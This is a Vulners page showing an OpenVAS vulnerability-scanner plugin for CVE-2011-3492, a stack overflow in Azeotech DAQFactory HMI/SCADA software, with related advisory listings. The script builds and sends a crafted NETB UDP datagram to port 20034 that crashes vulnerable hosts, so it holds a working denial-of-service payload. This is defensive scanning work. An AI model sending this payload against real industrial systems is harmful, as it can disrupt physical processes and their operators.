Lucene search
K

Azeotech DAQFactory NETB Datagram Parsing Stack Buffer Overflow Vulnerability

🗓️ 07 Oct 2011 00:00:00Reported by Copyright (c) 2011 Greenbone Networks GmbHType 
openvas
 openvas
🔗 plugins.openvas.org👁 24 Views

Azeotech DAQFactory NETB Datagram Parsing Stack Buffer Overflow Vulnerability - Remote attackers can execute arbitrary code or cause a denial of service by exploiting a buffer overflow in Azeotech DAQFactory 5.85 build 1853 and earlier. To fix, update to version 5.86 or later

Related
Refs
Code
ReporterTitlePublishedViews
Family
Check Point Advisories
SCADA DaqFactory HMI NETB Request Overflow (CVE-2011-3492)
21 Mar 201300:00
checkpoint_advisories
CVE
CVE-2011-3492
16 Sep 201114:00
cve
Cvelist
CVE-2011-3492
16 Sep 201114:00
cvelist
ICS
AzeoTech DAQFactory Stack Overflow
24 Jun 201106:00
ics
Metasploit
DaqFactory HMI NETB Request Overflow
18 Sep 201102:45
metasploit
NVD
CVE-2011-3492
16 Sep 201114:28
nvd
OpenVAS
Azeotech DAQFactory NETB Datagram Parsing Stack Buffer Overflow Vulnerability
7 Oct 201100:00
openvas
Packet Storm
DaqFactory HMI NETB Request Overflow
19 Sep 201100:00
packetstorm
Prion
Stack overflow
16 Sep 201114:28
prion
###############################################################################
# OpenVAS Vulnerability Test
# $Id: gb_daqfactory_netb_datagram_stack_bof.nasl 8236 2017-12-22 10:28:23Z cfischer $
#
# Azeotech DAQFactory NETB Datagram Parsing Stack Buffer Overflow Vulnerability
#
# Authors:
# Veerendra G.G <[email protected]>
#
# Copyright:
# Copyright (c) 2011 Greenbone Networks GmbH, http://www.greenbone.net
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2
# (or any later version), as published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################

tag_impact = "Successful exploitation may allow remote attackers to execute
arbitrary code on the system or cause denial of service condition.

Impact Level: System/Application";

tag_affected = "Azeotech DAQFactory 5.85 build 1853 and earlier.";

tag_insight = "The flaw is due to an error while parsing NETB datagrams. Which
can be exploited to cause a buffer overflow by sending a crafted NETB packet
to port 20034/UDP.";

tag_solution = "Update to version 5.86 or later,
For updates refer to http://www.azeotech.com/daqfactory.php";

tag_summary = "This host is installed with Azeotech DAQFactory (HMI/SCADA) and
is prone to denial of service vulnerability.";

if(description)
{
  script_id(802037);
  script_version("$Revision: 8236 $");
  script_tag(name:"last_modification", value:"$Date: 2017-12-22 11:28:23 +0100 (Fri, 22 Dec 2017) $");
  script_tag(name:"creation_date", value:"2011-10-07 15:45:35 +0200 (Fri, 07 Oct 2011)");
  script_cve_id("CVE-2011-3492");
  script_tag(name:"cvss_base", value:"10.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_name("Azeotech DAQFactory NETB Datagram Parsing Stack Buffer Overflow Vulnerability");
  script_xref(name : "URL" , value : "http://xforce.iss.net/xforce/xfdb/69764");
  script_xref(name : "URL" , value : "http://www.exploit-db.com/exploits/17841");
  script_xref(name : "URL" , value : "http://aluigi.altervista.org/adv/daqfactory_1-adv.txt");
  script_xref(name : "URL" , value : "http://www.us-cert.gov/control_systems/pdf/ICS-ALERT-11-256-02.pdf");

  script_tag(name:"qod_type", value:"remote_vul");
  script_category(ACT_DENIAL);
  script_copyright("Copyright (c) 2011 Greenbone Networks GmbH");
  script_family("Denial of Service");
  script_require_udp_ports(20034);
  script_tag(name : "impact" , value : tag_impact);
  script_tag(name : "affected" , value : tag_affected);
  script_tag(name : "insight" , value : tag_insight);
  script_tag(name : "solution" , value : tag_solution);
  script_tag(name : "summary" , value : tag_summary);
  exit(0);
}

include("network_func.inc");

## Azeotech DAQFactory UDP port
port = 20034;

## Check udp port status
if(!get_udp_port_state(port)){
  exit(0);
}

## Check UDP port status as get_udp_port_state() not working properly
if(!check_udp_port_status(dport:port)){
  exit(0);
}

##  Open udp socket
soc1 = open_sock_udp(port);
if(!soc1){
  exit(0);
}

req = raw_string( 'NETB',
                  crap(data:raw_string(0xff), length:156),
                  crap(data:'A', length:78),
                  0x00,
                  crap(data:'A', length:785)
                );

## send the data
send(socket:soc1, data:req);

sleep(1);

## Check UDP port closed or not
## i.e Confirm exploit worked or not
if(!check_udp_port_status(dport:port)){
  security_message(port:port, proto:'udp');
}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation